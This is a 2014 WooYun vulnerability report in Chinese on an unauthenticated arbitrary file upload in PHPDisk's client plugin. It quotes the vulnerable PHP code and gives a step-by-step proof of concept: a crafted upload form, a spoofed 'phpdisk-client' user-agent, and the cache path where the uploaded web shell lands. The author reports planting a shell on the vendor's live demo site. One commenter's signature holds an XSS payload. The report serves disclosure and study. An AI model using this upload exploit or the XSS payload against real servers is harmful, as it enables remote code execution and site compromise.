当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(28) 关注此漏洞

缺陷编号: WooYun-2014-63222

漏洞标题: phpdisk任意文件上传getshell(官网已shell)

相关厂商: phpdisk.com

漏洞作者: phith0n认证白帽子

提交时间: 2014-06-03 12:20

公开时间: 2014-09-01 12:22

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件上传 php源码审计 任意文件上传

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-03: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-09-01: 细节向公众公开

简要描述:

M老师指哪个cms,我就打哪个cms~真是幸福~~
无需登录,无需权限,直接getshell。

详细说明:

上传位置在plugins/phpdisk_client/client_sub.php

首先验证user-agent,然后从解密字符串里拿到了一个用户名和密码:

code 区域
include "../../includes/commons.inc.php";
@set_time_limit(0);
$agent = $_SERVER['HTTP_USER_AGENT'];
if($agent!='phpdisk-client'){
exit('<a href="http://**.**.**.**/search?w=p403&err=code" target="_blank">[PHPDisk Access Deny] Invalid Entry!</a>');
}
$u_info = trim(gpc('u_info','P',''));
parse_str(pd_encode(base64_decode($u_info),'DECODE'));
// checked username and pwd...
/*$username = trim(gpc('username','GP',''));
$password = trim(gpc('password','GP',''));*/

$username = is_utf8() ? $username : convert_str('utf-8','gbk',$username);
$password = is_utf8() ? $password : convert_str('utf-8','gbk',$password);

$userinfo = $db->fetch_one_array("select userid from {$tpf}users where username='$username' and password='$password'");
if(!$userinfo){
$str = '网盘登录出错:用户名或密码不正确,请重新输入';
$str = is_utf8() ? convert_str('utf-8','gbk',$str) : $str;
echo $str;
}else{
$uid = (int)$userinfo[userid];
}



拿到用户名和密码以后,进入数据库查询,但查询出错后echo出来“网盘登录出错:用户名或密码不正确,请重新输入”并没退出。这个就没有用了,不需要知道加密字符串,也不用登陆。

所以继续往下看,

code 区域
switch ($action){
case 'upload_file':
//write_file(PHPDISK_ROOT.'system/2.txt',var_export($_POST,true));
//write_file(PHPDISK_ROOT.'system/3.txt',var_export($_FILES,true));
$file = $_FILES['file1'];
$file_name = trim(gpc('file_name','P',''));
$file_do_name = trim(gpc('file_do_name','P',''));
$file_local_path = trim(gpc('file_local_path','P',''));
$folder_id = (int)gpc('folder_id','P',0);
$file_size = (int)gpc('file_size','P',0);
$file_parts = (int)gpc('file_parts','P',0);
$tmp_dir = PHPDISK_ROOT.'system/cache/';
make_dir($tmp_dir);
$file_local_path = is_utf8() ? convert_str('gbk','utf-8',$file_local_path) : $file_local_path;
$file_do_name = is_utf8() ? convert_str('gbk','utf-8',$file_do_name) : $file_do_name;
$file_name = is_utf8() ? convert_str('gbk','utf-8',$file_name) : $file_name;
if(upload_file($file['tmp_name'],$tmp_dir.$file[name])){
//insert db



进入case以后调用upload_file上传,文件名就直接用的$file[name]。

跟一下upload_file看看:

code 区域
function upload_file($source, $target) {
if (function_exists('move_uploaded_file') && @move_uploaded_file($source, $target)) {
@chmod($target, 0666);
return $target;
} elseif (@copy($source, $target)) {
@chmod($target, 0666);
return $target;
} elseif (@is_readable($source)) {
if ($fp = @fopen($source,'rb')) {
@flock($fp,2);
$filedata = @fread($fp,@filesize($source));
@fclose($fp);
}
if ($fp = @fopen($target, 'wb')) {
@flock($fp, 2);
@fwrite($fp, $filedata);
@fclose($fp);
@chmod ($target, 0666);
return $target;
} else {
return false;
}
}
}



没有验证。直接拷贝进去了。

虽然case那块后面有个unlink对上传的文件进行删除,不过因为之后有一处数据库查询失败,导致这个unlink没有执行。(应该是,我没细看,反正没执行,我的shell没被删)

利用详见漏洞证明。

漏洞证明:

本地构造一个上传单页:

code 区域
<form name="form" method="post" action="http://**.**.**.**/v/plugins/phpdisk_client/client_sub.php?action=file_upload" enctype="multipart/form-data" >
<input type="hidden" name="file_name" value="aaa.gif">
<input type="file" name="file1">
<input type="submit" name="Submit" value="上传" ></form>



选择shell上传,中途抓包。

改user-agent为“phpdisk-client”,不改不能上传。

发送。

返回包是这样的:

17.jpg



这个时候查看/system/cache/即可看到shell:

18.jpg



官网demo站shell已拿下:

http://**.**.**.**/v/system/cache/info.php



ps.我看到有前辈的phpinfo了,呵呵。。。前辈们果然都手握0day

修复方案:

你猜~

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-03 19:59

厂商回复:

感谢反馈

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-03 12:35 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    0

    M老师是谁?

  2. 2014-06-03 14:09 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    对于没上首页这件事,我感觉很失望……

  3. 2014-06-03 14:47 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @Mody 我俩共同的老湿 @Mramydnei M老师

  4. 2014-06-03 15:47 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    0

    @phith0n @索马里的海贼 求拜祖师爷@Mramydnei

  5. 2014-06-03 22:52 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    你们那么NB家里人知道吗?

  6. 2014-06-05 22:14 | Angelic47 ( 路人 | Rank:1 漏洞数:1 )
    0

    还好我早就不用phpdisk了= =

  7. 2014-06-07 03:31 | My5t3ry ( 实习白帽子 | Rank:35 漏洞数:14 )
    0

    目测和我4月份这个一样 http://loudong.360.cn/vul/info/id/5596 官方竟然没出补丁。。。

  8. 2014-06-07 15:17 | 孩子他爸 ( 实习白帽子 | Rank:93 漏洞数:16 | xxoo)
    0

    楼主你太NB了

  9. 2014-06-07 16:58 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @My5t3ry 我说那个phpinfo谁留的。。。

  10. 2014-06-07 23:53 | My5t3ry ( 实习白帽子 | Rank:35 漏洞数:14 )
    0

    @phith0n 哈哈

  11. 2014-06-08 13:25 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    补丁已绕过。。。。。

登录后才能发表评论,请先 登录